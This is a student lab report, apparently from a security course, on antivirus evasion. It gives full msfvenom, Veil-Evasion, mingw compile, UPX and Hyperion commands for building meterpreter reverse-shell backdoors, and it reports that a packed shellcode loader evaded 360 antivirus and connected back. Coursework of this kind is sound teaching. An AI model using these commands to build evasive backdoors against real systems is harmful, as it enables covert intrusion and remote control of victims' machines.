Exp3 免杀原理与实践
1. 实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码
- 启发式恶意软件检测:如果一个软件做一些恶意软件部分特征相同,就把它当作恶意软件,判断不够精确
- 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
免杀是降低恶意软件被杀软发现概率的技术。
(3)免杀的基本方法有哪些?
- 改变特征码:只有EXE(加壳);有shellcode(利用shellcode生成可执行文件);有源代码(用其他语言进行重写再编译)
- 改变行为:改变通讯方式和操作模式
- 手工打造一个恶意代码
3.实践过程记录
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
(1)正确使用msf编码器
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.
1.103 LPORT=4301 -f exe > met-encoded.exe生成后门 met-encoded.exe
将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下,免杀效果很差
(2)msfvenom生成如jar之类的其他文件
输入指令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4301 x>
01_backdoor.jar 生成jar文件
将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下
输入命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4301 x> 20164301_backdoor.php
生成php后门
将用msf命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下
(3)veil-evasion
安装veil-evasion,输入sudo apt-get install veil命令
结果安装了好多次都失败了。
后来输入以下命令来安装
sudo apt-get -y install git
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
mv Veil-Evasion /opt
cd /opt/Veil-Evasion/
bash setup/setup.sh -s
安装成功,输入veil进入
输入use
找到c/meterpreter/rev_tcp ,输入6
设置反弹连接IP:192.168.132.129
设置端口为4301
生成文件4301-payload.exe
在/usr/share/veil-output/comiled目录下,可找到4301-payload.exe
将用veil生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下
(4)使用shellcode编程
新建shellcode.c文件
输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4301 -f c
生成一段c语言格式的数组
主函数调用buf[]
再输入i686-w64-mingw32-g++ shellcode.c -o Shellcode.exe命令,交叉编译生成Shellcode.exe
将c语言调用的shellcode后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下
传输到win
放入win后,立刻被360查杀
(5)加壳工具
1.压缩壳
输入命令upx 4301-payload.exe -o 4301-payload.upxed.exe,对上面veil生成的后门进行加壳
将c语言调用shellcode用压缩壳命令生成的后门程序放到http://www.virscan.org/language/zh-cn/中扫描结果如下
2.加密壳
将shellcode.upxed.exe(之前尝试c语言调用加压缩壳生成的),放入/usr/share/windows-binaries/hyperion
wine hyperion.exe -v shellcode_upxed.exe shellcode_upxed_Hyperion.exe命令进行加壳
生成shellcode_upxed_Hyperion.exe
将c语言调用shellcode用加密壳命令生成的后门程序的放到http://www.virscan.org/language/zh-cn/中扫描结果如下
二、通过组合应用各种技术实现恶意代码免杀
用了c语言调用shellcode+压缩壳,杀软共生的结果
回连成功
三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
被控主机:win7
杀软:360杀毒(360安全卫士) 程序版本5.0.0.8140(64位)
又重新 c语言调用+压缩壳 ,生成一个新的shell.exe
将shell_upxed.exe传到另一台电脑后,发现360杀软暂时杀不出来
回连成功
用家里的电脑做的,ip地址为192.168.1.102
我的虚拟机经过网络适配器调为桥接后的IP地址为192.168.1.103
4.实验心得
这次实验相比前两次比较麻烦,首先安装veil就安装了很多次才装好,其次生成各种组合技术免杀的程序很多刚传到win上就被360
杀毒软件清理掉了,尝试了很多次组合最后发现c语言调用shellcode加压缩壳容易成功,不被检测出来。用另一台电脑实测时,出现回
连不上的状况,后来设置了网络适配器,重启,ping通后,完整的做了一遍,重新生成了c语言调用shellcode加压缩壳的后门,传到另
一台电脑上未被杀软检测出,最终回连成功。通过这次实验不仅了解了恶意代码的免杀技术,还意识到自己的实际操作能力需要提升,
应该不断尝试。